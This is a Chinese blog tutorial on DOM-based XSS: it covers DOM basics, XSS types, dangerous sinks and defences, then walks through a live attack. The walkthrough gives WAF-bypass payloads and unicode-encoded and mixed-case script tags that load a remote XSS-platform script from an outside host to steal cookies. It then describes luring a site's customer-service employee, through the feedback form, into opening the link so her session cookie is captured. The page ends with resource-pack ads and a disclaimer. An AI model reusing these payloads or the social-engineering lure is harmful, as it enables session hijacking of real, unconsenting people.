前言
什么是DOM型XSS
DOM型XSS漏洞是一种特殊类型的XSS,是基于文档对象模型 Document Object Model (DOM)的一种漏洞。
什么是DOM
DOM全称Document Object Model,是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。
以一张w3c的图来说明,到底什么是dom:
dom就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。
通过Js去对网页进行修改,变化执行。
反射型XSS和储存型XSS以及Dom型XSS的特点:
反射型:
交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等。存储型:
交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面。DOM型:
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,大部分属于反射型。
关于非持久型,持久型,Dom型xss
非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。
而Dom型xss属于有可能是持久也可能是非持久型。
什么是document 和 windows 对象
document表示的是一个文档对象,window表示的是一个窗口对象,一个窗口下可以有多个文档对象。document 只是属于window 的一个子对象。
DOM型XSS
Document 对象
每个载入浏览器的 HTML 文档都会成为 Document 对象。
Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。
Document对象属性:
Document 对象方法:
可能触发DOM型XSS的属性
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
Dom型XSS的危害:
DOM-XSS不经过服务端,只看服务端的日志和数据库,很难排查到
DOM-XSS一般是通杀浏览器的
DOM-XSS一般是被攻击的时候就执行了XSS,由于是前端DOM操作导致,很难留下痕迹
DOM型XSS的防御方法
- 避免将从客户端接收的数据用于客户端敏感操作,例如重写或重定向。
- 通过检查对构成威胁的 DOM 对象(例如 URL、位置和引用者)的引用来清理客户端代码。如果 DOM 可能被修改,这一点尤其重要。
- 使用能够检查入站 URL 参数并防止提供不适当页面的入侵防御系统。
DOM型XSS实战演练
1、进入漏洞页面
发现可疑点 /dom_xss/
2.检查该可疑点的源代码
发现可能触发DOM型XSS的属性 document.write,它可向文档写入 HTML 表达式或 JavaScript 代码。
3.测试注入
1)先在URL随便传个参?txtx=1234
发现在URL里输入的内容会通过document.write()方法将传参内容显示在HTML文档上。
2)传入恶意语句
?<script>alert(3114)</script>
发现WAF, 经测试,WAF拦截<script>标签、<img>标签、<a%20href=javascript>等。
3)尝试绕过WAF写入弹窗函数,并闭合语句
1) ?");alert(1314)// 2) index.php/1.txt?txtx=</script><script>alert(1314)</script>
页面弹窗,存在XSS漏洞
4.XSS平台来获取COOKIE
(1)因为document.write() 可以接受native编码值,所以我们可以用native编码绕过WAF
传入参数
?txtx=\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0068\u006b\u002e\u0073\u0062\u002f\u0043\u0045\u004c\u004b\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e
获取了本地COOKIE
然后去后把网址提交到反馈栏里,让客服去访问
返回XSS平台,发现客服小姐姐已成功访问恶意的代码,得到她的COOKIE
(2) 传入参数
index.php/1.txt?txtx=<sCRiPt%20sRC=//hk.sb/CELK></sCrIpT>
获取到了本地COOKIE
把网址提交到反馈栏里,让客服小姐姐去访问,得到客服的COOKIE
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
同时每个成长路线对应的板块都有配套的视频提供:
大厂面试题
视频配套资料&国内外网安书籍、文档
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
特别声明:
此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。